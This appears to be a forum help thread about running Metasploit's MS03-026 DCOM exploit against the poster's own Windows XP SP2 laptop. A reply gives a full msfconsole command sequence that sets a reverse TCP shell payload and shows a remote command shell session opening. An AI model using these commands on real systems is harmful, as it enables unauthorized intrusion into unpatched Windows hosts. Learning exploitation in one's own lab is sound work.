Re: help with metaspoilt

I'm not sure that it's the size of your header that is the problem.  I'd be interested more in what you are trying to do when you get this error message.  Looking up that error message, it seems to be from the dcerpc package, so I'm guessing that it might be the dcom exploit but if you can tell us the commands that you ran within metasploit to get the error, then we can maybe help you troubleshoot the problem better.

to echo apollo

what commands and options did you run?

what OS are you running?

what OS and SP is your target?

did you select the appropriate target inside of MSF?

Well i m using a GUI metasploit in which :

1. selected exploit/windows/dcerpc/ms03_026_dcom
2.  Target is my laptop which has xp sp 2
3.  payload used is Windows/shell_reverse_tcp
4.  rhost is set to laptop IP

after i apply the exploit i m getting:-

22:07:55 - ms03_026_dcom [*] Launching exploit windows/dcerpc/ms03_026_dcom...
22:07:56 - ms03_026_dcom [*] Started reverse handler

Re: help with metaspoilt

I'm guessing that the host may not be vulnerable and that the reaction based off of the data received from the host you were trying to exploit is what is getting reported on based on the fact that the code which produces that error lives in both the client and the listener for the dcerpc stuff.  You may want to try the console though in case there is something else amiss.  Try this:
Everywhere that is <your IP> is the host running metasploit
Everywhere that is <target IP> is the host that you want to exploit

  Code:
msfconsole

then

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set target 0
target => 0
msf exploit(ms03_026_dcom) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set lhost <your IP>
lhost => <your IP>
msf exploit(ms03_026_dcom) > set rhost <target IP>
rhost => <target IP>
msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:<target IP>[135] ...

[*] The DCERPC service did not reply to our request
[*] Command shell session 1 opened (<your IP>:4444 -> <target IP>:1095)
msf exploit(ms03_026_dcom) >




That should work if the host is vulnerable, you may have to try a few times, sometimes certain exploits don't work 100% of the time, and sometimes they partially work.
